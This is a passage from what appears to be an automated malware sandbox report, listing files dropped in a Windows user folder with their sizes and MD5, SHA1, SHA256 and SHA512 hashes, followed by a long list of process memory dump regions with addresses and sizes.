                                                                                                                                                  236KB

                                                                                                                                                  MD5

                                                                                                                                                  0641560e5ecd1702aa259ac8c48577e1

                                                                                                                                                  SHA1

                                                                                                                                                  f2832c5c37a66f6a559d00e3876f956ec75d5fbc

                                                                                                                                                  SHA256

                                                                                                                                                  3faa936558703316edbfb0d57d697f0ed160149b1417f4d5d02d9ef3576ff779

                                                                                                                                                  SHA512

                                                                                                                                                  7da8374e338be2c525b3f64c0a507e9c5aa1987ebd789334ac6980fa9e643692b021065a303f47f83716dc9b21de3bbc4f50af939d9c6b9561ddb3df9f65cfb9

                                                                                                                                                • C:\Users\Admin\dvatransport.dll

                                                                                                                                                  Filesize

                                                                                                                                                  554KB

                                                                                                                                                  MD5

                                                                                                                                                  c56cb2a849c920137088a6191d86c6bc

                                                                                                                                                  SHA1

                                                                                                                                                  37fde431edf78ee885719ce9bee3a07a399866c0

                                                                                                                                                  SHA256

                                                                                                                                                  5e12d3cf38ed4cac63129f421633e2e78548722ec3ed34b6463a6840db01a59f

                                                                                                                                                  SHA512

                                                                                                                                                  b8a7f5ba53dd972f554675d716ac00dd58cecdc69b853e9800842ff5f75d5b5745a39ffc91b3f66ebaeaab0ca68724c85dfee95e98bb056d30dbc4e245b8241f

                                                                                                                                                • C:\Users\Admin\dynamiclink.dll

                                                                                                                                                  Filesize

                                                                                                                                                  2.2MB

                                                                                                                                                  MD5

                                                                                                                                                  d04de1f9538a6798c58fda391e8d7aa9

                                                                                                                                                  SHA1

                                                                                                                                                  583177a2749b40ec4421cc4beb421db559477a26

                                                                                                                                                  SHA256

                                                                                                                                                  a79ba9a61d9f4baff30d7fc00006b070c11bfda3e7ee6264af5a2be5b49c1d9c

                                                                                                                                                  SHA512

                                                                                                                                                  6a6b7a43a73a66624ee92620d426780157d70ea48b89c8f2d58b993388184d378fe528340c747390682049fb952b8b0602d7521aaff6a7a5853b194298bfcb0c

                                                                                                                                                • C:\Users\Admin\msvcp100.dll

                                                                                                                                                  Filesize

                                                                                                                                                  411KB

                                                                                                                                                  MD5

                                                                                                                                                  bc83108b18756547013ed443b8cdb31b

                                                                                                                                                  SHA1

                                                                                                                                                  79bcaad3714433e01c7f153b05b781f8d7cb318d

                                                                                                                                                  SHA256

                                                                                                                                                  b2ad109c15eaa92079582787b7772ba0a2f034f7d075907ff87028df0eaea671

                                                                                                                                                  SHA512

                                                                                                                                                  6e72b2d40e47567b3e506be474dafa7cacd0b53cd2c2d160c3b5384f2f461fc91bb5fdb614a351f628d4e516b3bbdabc2cc6d4cb4710970146d2938a687dd011

                                                                                                                                                • C:\Users\Admin\msvcr100.dll

                                                                                                                                                  Filesize

                                                                                                                                                  755KB

                                                                                                                                                  MD5

                                                                                                                                                  0e37fbfa79d349d672456923ec5fbbe3

                                                                                                                                                  SHA1

                                                                                                                                                  4e880fc7625ccf8d9ca799d5b94ce2b1e7597335

                                                                                                                                                  SHA256

                                                                                                                                                  8793353461826fbd48f25ea8b835be204b758ce7510db2af631b28850355bd18

                                                                                                                                                  SHA512

                                                                                                                                                  2bea9bd528513a3c6a54beac25096ee200a4e6ccfc2a308ae9cfd1ad8738e2e2defd477d59db527a048e5e9a4fe1fc1d771701de14ef82b4dbcdc90df0387630

                                                                                                                                                • memory/844-2363-0x0000000000620000-0x0000000001026000-memory.dmp

                                                                                                                                                  Filesize

                                                                                                                                                  10.0MB

                                                                                                                                                • memory/1028-78-0x00000166AD030000-0x00000166AD052000-memory.dmp

                                                                                                                                                  Filesize

                                                                                                                                                  136KB

                                                                                                                                                • memory/1120-1076-0x0000000008170000-0x00000000087EA000-memory.dmp

                                                                                                                                                  Filesize

                                                                                                                                                  6.5MB

                                                                                                                                                • memory/1120-1077-0x0000000006D50000-0x0000000006D6A000-memory.dmp

                                                                                                                                                  Filesize

                                                                                                                                                  104KB

                                                                                                                                                • memory/1120-1040-0x0000000006200000-0x0000000006266000-memory.dmp

                                                                                                                                                  Filesize

                                                                                                                                                  408KB

                                                                                                                                                • memory/1120-1035-0x0000000005270000-0x00000000052A6000-memory.dmp

                                                                                                                                                  Filesize

                                                                                                                                                  216KB

                                                                                                                                                • memory/1120-1036-0x00000000059F0000-0x0000000006018000-memory.dmp

                                                                                                                                                  Filesize

                                                                                                                                                  6.2MB

                                                                                                                                                • memory/1120-1060-0x0000000006880000-0x00000000068CC000-memory.dmp

                                                                                                                                                  Filesize

                                                                                                                                                  304KB

                                                                                                                                                • memory/1120-1059-0x0000000006850000-0x000000000686E000-memory.dmp

                                                                                                                                                  Filesize

                                                                                                                                                  120KB

                                                                                                                                                • memory/1120-1226-0x0000000007D50000-0x0000000007DE6000-memory.dmp

                                                                                                                                                  Filesize

                                                                                                                                                  600KB

                                                                                                                                                • memory/1120-1038-0x0000000005860000-0x0000000005882000-memory.dmp

                                                                                                                                                  Filesize

                                                                                                                                                  136KB

                                                                                                                                                • memory/1120-1227-0x0000000007CB0000-0x0000000007CD2000-memory.dmp

                                                                                                                                                  Filesize

                                                                                                                                                  136KB

                                                                                                                                                • memory/1120-1050-0x0000000006270000-0x00000000065C4000-memory.dmp

                                                                                                                                                  Filesize

                                                                                                                                                  3.3MB

                                                                                                                                                • memory/1120-1039-0x0000000006190000-0x00000000061F6000-memory.dmp

                                                                                                                                                  Filesize

                                                                                                                                                  408KB

                                                                                                                                                • memory/1320-473-0x0000000000D50000-0x0000000000DAC000-memory.dmp

                                                                                                                                                  Filesize

                                                                                                                                                  368KB

                                                                                                                                                • memory/1476-398-0x0000000000310000-0x00000000009FE000-memory.dmp

                                                                                                                                                  Filesize

                                                                                                                                                  6.9MB

                                                                                                                                                • memory/1476-452-0x0000000000310000-0x00000000009FE000-memory.dmp

                                                                                                                                                  Filesize

                                                                                                                                                  6.9MB

                                                                                                                                                • memory/1476-1945-0x0000000000310000-0x00000000009FE000-memory.dmp

                                                                                                                                                  Filesize

                                                                                                                                                  6.9MB

                                                                                                                                                • memory/1988-120-0x0000000000400000-0x000000000045E000-memory.dmp

                                                                                                                                                  Filesize

                                                                                                                                                  376KB

                                                                                                                                                • memory/1988-123-0x0000000000400000-0x000000000045E000-memory.dmp

                                                                                                                                                  Filesize

                                                                                                                                                  376KB

                                                                                                                                                • memory/2336-293-0x0000000001580000-0x00000000015C4000-memory.dmp

                                                                                                                                                  Filesize

                                                                                                                                                  272KB

                                                                                                                                                • memory/2336-302-0x0000000001620000-0x0000000001632000-memory.dmp

                                                                                                                                                  Filesize

                                                                                                                                                  72KB

                                                                                                                                                • memory/2336-267-0x0000000000B60000-0x0000000000B9D000-memory.dmp

                                                                                                                                                  Filesize

                                                                                                                                                  244KB

                                                                                                                                                • memory/2336-268-0x0000000000AD0000-0x0000000000B5C000-memory.dmp

                                                                                                                                                  Filesize

                                                                                                                                                  560KB

                                                                                                                                                • memory/2336-291-0x0000000001170000-0x00000000013E3000-memory.dmp

                                                                                                                                                  Filesize

                                                                                                                                                  2.4MB

                                                                                                                                                • memory/2336-306-0x00000000016A0000-0x0000000001F5F000-memory.dmp

                                                                                                                                                  Filesize

                                                                                                                                                  8.7MB

                                                                                                                                                • memory/2336-281-0x0000000001140000-0x000000000115D000-memory.dmp

                                                                                                                                                  Filesize

                                                                                                                                                  116KB

                                                                                                                                                • memory/2336-304-0x0000000001650000-0x0000000001669000-memory.dmp

                                                                                                                                                  Filesize

                                                                                                                                                  100KB

                                                                                                                                                • memory/2336-307-0x00000000730E0000-0x000000007325B000-memory.dmp

                                                                                                                                                  Filesize

                                                                                                                                                  1.5MB

                                                                                                                                                • memory/2336-274-0x0000000000E40000-0x0000000001079000-memory.dmp

                                                                                                                                                  Filesize

                                                                                                                                                  2.2MB

                                                                                                                                                • memory/2336-308-0x00007FFC3F7D0000-0x00007FFC3F9C5000-memory.dmp

                                                                                                                                                  Filesize

                                                                                                                                                  2.0MB

                                                                                                                                                • memory/2336-277-0x0000000001090000-0x000000000112B000-memory.dmp

                                                                                                                                                  Filesize

                                                                                                                                                  620KB

                                                                                                                                                • memory/2336-279-0x0000000000BA0000-0x0000000000E27000-memory.dmp

                                                                                                                                                  Filesize

                                                                                                                                                  2.5MB

                                                                                                                                                • memory/2336-300-0x00000000015F0000-0x000000000160D000-memory.dmp

                                                                                                                                                  Filesize

                                                                                                                                                  116KB

                                                                                                                                                • memory/2336-289-0x00000000014E0000-0x000000000156F000-memory.dmp

                                                                                                                                                  Filesize

                                                                                                                                                  572KB

                                                                                                                                                • memory/2336-286-0x0000000001400000-0x00000000014C1000-memory.dmp

                                                                                                                                                  Filesize

                                                                                                                                                  772KB

                                                                                                                                                • memory/2636-1502-0x00000000008B0000-0x0000000000D65000-memory.dmp

                                                                                                                                                  Filesize

                                                                                                                                                  4.7MB

                                                                                                                                                • memory/2636-1505-0x00000000008B0000-0x0000000000D65000-memory.dmp

                                                                                                                                                  Filesize

                                                                                                                                                  4.7MB

                                                                                                                                                • memory/2660-98-0x000001B6EA910000-0x000001B6EA922000-memory.dmp

                                                                                                                                                  Filesize

                                                                                                                                                  72KB

                                                                                                                                                • memory/3488-1282-0x0000000000F10000-0x0000000001215000-memory.dmp

                                                                                                                                                  Filesize

                                                                                                                                                  3.0MB

                                                                                                                                                • memory/3488-1365-0x0000000000F10000-0x0000000001215000-memory.dmp

                                                                                                                                                  Filesize

                                                                                                                                                  3.0MB

                                                                                                                                                • memory/3736-433-0x00000000009C0000-0x0000000000E75000-memory.dmp

                                                                                                                                                  Filesize

                                                                                                                                                  4.7MB

                                                                                                                                                • memory/3736-558-0x00000000009C0000-0x0000000000E75000-memory.dmp

                                                                                                                                                  Filesize

                                                                                                                                                  4.7MB

                                                                                                                                                • memory/3924-1159-0x0000000000930000-0x000000000098C000-memory.dmp

                                                                                                                                                  Filesize

                                                                                                                                                  368KB

                                                                                                                                                • memory/4004-45-0x00000000008B1000-0x000000000090A000-memory.dmp

                                                                                                                                                  Filesize

                                                                                                                                                  356KB

                                                                                                                                                • memory/4004-4-0x00000000008B0000-0x0000000000BBF000-memory.dmp

                                                                                                                                                  Filesize

                                                                                                                                                  3.1MB

                                                                                                                                                • memory/4004-0-0x00000000008B0000-0x0000000000BBF000-memory.dmp

                                                                                                                                                  Filesize

                                                                                                                                                  3.1MB

                                                                                                                                                • memory/4004-57-0x00000000008B0000-0x0000000000BBF000-memory.dmp

                                                                                                                                                  Filesize

                                                                                                                                                  3.1MB

                                                                                                                                                • memory/4004-3-0x00000000008B0000-0x0000000000BBF000-memory.dmp

                                                                                                                                                  Filesize

                                                                                                                                                  3.1MB

                                                                                                                                                • memory/4004-58-0x00000000008B0000-0x0000000000BBF000-memory.dmp

                                                                                                                                                  Filesize

                                                                                                                                                  3.1MB

                                                                                                                                                • memory/4004-2-0x00000000008B1000-0x000000000090A000-memory.dmp

                                                                                                                                                  Filesize

                                                                                                                                                  356KB

                                                                                                                                                • memory/4004-56-0x00000000008B0000-0x0000000000BBF000-memory.dmp

                                                                                                                                                  Filesize

                                                                                                                                                  3.1MB

                                                                                                                                                • memory/4004-88-0x00000000008B0000-0x0000000000BBF000-memory.dmp

                                                                                                                                                  Filesize

                                                                                                                                                  3.1MB

                                                                                                                                                • memory/4004-1-0x0000000077B84000-0x0000000077B86000-memory.dmp

                                                                                                                                                  Filesize

                                                                                                                                                  8KB

                                                                                                                                                • memory/4004-38-0x00000000008B0000-0x0000000000BBF000-memory.dmp

                                                                                                                                                  Filesize

                                                                                                                                                  3.1MB

                                                                                                                                                • memory/4004-39-0x00000000008B0000-0x0000000000BBF000-memory.dmp

                                                                                                                                                  Filesize

                                                                                                                                                  3.1MB

                                                                                                                                                • memory/4004-134-0x00000000008B0000-0x0000000000BBF000-memory.dmp

                                                                                                                                                  Filesize

                                                                                                                                                  3.1MB

                                                                                                                                                • memory/4040-1622-0x00000228E5600000-0x00000228E5608000-memory.dmp

                                                                                                                                                  Filesize

                                                                                                                                                  32KB

                                                                                                                                                • memory/4040-1621-0x00000228E55F0000-0x00000228E55FA000-memory.dmp

                                                                                                                                                  Filesize

                                                                                                                                                  40KB

                                                                                                                                                • memory/4040-1619-0x00000228E55D0000-0x00000228E55EC000-memory.dmp

                                                                                                                                                  Filesize

                                                                                                                                                  112KB

                                                                                                                                                • memory/4040-1623-0x00000228E5610000-0x00000228E561A000-memory.dmp

                                                                                                                                                  Filesize

                                                                                                                                                  40KB

                                                                                                                                                • memory/4040-1609-0x00000228BCA80000-0x00000228BCA98000-memory.dmp

                                                                                                                                                  Filesize

                                                                                                                                                  96KB

                                                                                                                                                • memory/4288-1258-0x0000000000400000-0x0000000000849000-memory.dmp

                                                                                                                                                  Filesize

                                                                                                                                                  4.3MB

                                                                                                                                                • memory/4288-1244-0x0000000000400000-0x0000000000849000-memory.dmp

                                                                                                                                                  Filesize

                                                                                                                                                  4.3MB

                                                                                                                                                • memory/4368-340-0x0000000000E30000-0x0000000000E74000-memory.dmp

                                                                                                                                                  Filesize

                                                                                                                                                  272KB

                                                                                                                                                • memory/4368-338-0x0000000000DA0000-0x0000000000E2C000-memory.dmp

                                                                                                                                                  Filesize

                                                                                                                                                  560KB

                                                                                                                                                • memory/4368-371-0x00000000736F0000-0x000000007386B000-memory.dmp

                                                                                                                                                  Filesize

                                                                                                                                                  1.5MB

                                                                                                                                                • memory/4368-374-0x00007FFC3F7D0000-0x00007FFC3F9C5000-memory.dmp

                                                                                                                                                  Filesize

                                                                                                                                                  2.0MB

                                                                                                                                                • memory/4368-334-0x0000000000AD0000-0x0000000000B0D000-memory.dmp

                                                                                                                                                  Filesize

                                                                                                                                                  244KB

                                                                                                                                                • memory/4368-336-0x0000000000B10000-0x0000000000D97000-memory.dmp

                                                                                                                                                  Filesize

                                                                                                                                                  2.5MB

                                                                                                                                                • memory/4368-344-0x0000000001100000-0x0000000001373000-memory.dmp

                                                                                                                                                  Filesize

                                                                                                                                                  2.4MB

                                                                                                                                                • memory/4368-346-0x0000000001390000-0x0000000001451000-memory.dmp

                                                                                                                                                  Filesize

                                                                                                                                                  772KB

                                                                                                                                                • memory/4368-350-0x0000000001520000-0x000000000153D000-memory.dmp

                                                                                                                                                  Filesize

                                                                                                                                                  116KB

                                                                                                                                                • memory/4368-352-0x0000000001550000-0x00000000015DF000-memory.dmp

                                                                                                                                                  Filesize

                                                                                                                                                  572KB

                                                                                                                                                • memory/4368-342-0x0000000000E90000-0x00000000010C9000-memory.dmp

                                                                                                                                                  Filesize

                                                                                                                                                  2.2MB

                                                                                                                                                • memory/4368-348-0x0000000001470000-0x000000000150B000-memory.dmp

                                                                                                                                                  Filesize

                                                                                                                                                  620KB

                                                                                                                                                • memory/4368-354-0x00000000015F0000-0x0000000001602000-memory.dmp

                                                                                                                                                  Filesize

                                                                                                                                                  72KB

                                                                                                                                                • memory/4368-356-0x0000000001620000-0x000000000163D000-memory.dmp

                                                                                                                                                  Filesize

                                                                                                                                                  116KB

                                                                                                                                                • memory/4524-1443-0x0000000000870000-0x0000000000F5E000-memory.dmp

                                                                                                                                                  Filesize

                                                                                                                                                  6.9MB

                                                                                                                                                • memory/4524-1506-0x0000000000870000-0x0000000000F5E000-memory.dmp

                                                                                                                                                  Filesize

                                                                                                                                                  6.9MB

                                                                                                                                                • memory/4592-154-0x0000021655B30000-0x0000021655B38000-memory.dmp

                                                                                                                                                  Filesize

                                                                                                                                                  32KB

                                                                                                                                                • memory/4648-420-0x0000000000CC0000-0x0000000001175000-memory.dmp

                                                                                                                                                  Filesize

                                                                                                                                                  4.7MB

                                                                                                                                                • memory/4648-432-0x0000000000CC0000-0x0000000001175000-memory.dmp

                                                                                                                                                  Filesize

                                                                                                                                                  4.7MB

                                                                                                                                                • memory/4884-116-0x0000000000400000-0x0000000000429000-memory.dmp

                                                                                                                                                  Filesize

                                                                                                                                                  164KB

                                                                                                                                                • memory/4884-119-0x0000000000400000-0x0000000000429000-memory.dmp

                                                                                                                                                  Filesize

                                                                                                                                                  164KB

                                                                                                                                                • memory/5068-113-0x00000000005D0000-0x0000000000630000-memory.dmp

                                                                                                                                                  Filesize

                                                                                                                                                  384KB

                                                                                                                                                • memory/5068-114-0x0000000005500000-0x0000000005AA4000-memory.dmp

                                                                                                                                                  Filesize

                                                                                                                                                  5.6MB

                                                                                                                                                • memory/5356-1247-0x00000000009C0000-0x0000000000E75000-memory.dmp

                                                                                                                                                  Filesize

                                                                                                                                                  4.7MB

                                                                                                                                                • memory/5356-1245-0x00000000009C0000-0x0000000000E75000-memory.dmp

                                                                                                                                                  Filesize

                                                                                                                                                  4.7MB

                                                                                                                                                • memory/5460-524-0x00000000004A0000-0x000000000052E000-memory.dmp

                                                                                                                                                  Filesize

                                                                                                                                                  568KB

                                                                                                                                                • memory/5768-1933-0x00000000009C0000-0x0000000000E75000-memory.dmp

                                                                                                                                                  Filesize

                                                                                                                                                  4.7MB

                                                                                                                                                • memory/5768-1938-0x00000000009C0000-0x0000000000E75000-memory.dmp

                                                                                                                                                  Filesize

                                                                                                                                                  4.7MB

                                                                                                                                                • memory/5904-2192-0x0000000000610000-0x0000000000921000-memory.dmp

                                                                                                                                                  Filesize

                                                                                                                                                  3.1MB

                                                                                                                                                • memory/5904-1684-0x0000000000610000-0x0000000000921000-memory.dmp

                                                                                                                                                  Filesize

                                                                                                                                                  3.1MB

                                                                                                                                                • memory/5924-559-0x0000000000400000-0x0000000000849000-memory.dmp

                                                                                                                                                  Filesize

                                                                                                                                                  4.3MB

                                                                                                                                                • memory/5924-1118-0x0000000000400000-0x0000000000849000-memory.dmp

                                                                                                                                                  Filesize

                                                                                                                                                  4.3MB

                                                                                                                                                • memory/5924-1487-0x0000000000400000-0x0000000000849000-memory.dmp

                                                                                                                                                  Filesize

                                                                                                                                                  4.3MB

                                                                                                                                                • memory/6096-1478-0x0000000000620000-0x000000000067E000-memory.dmp

                                                                                                                                                  Filesize

                                                                                                                                                  376KB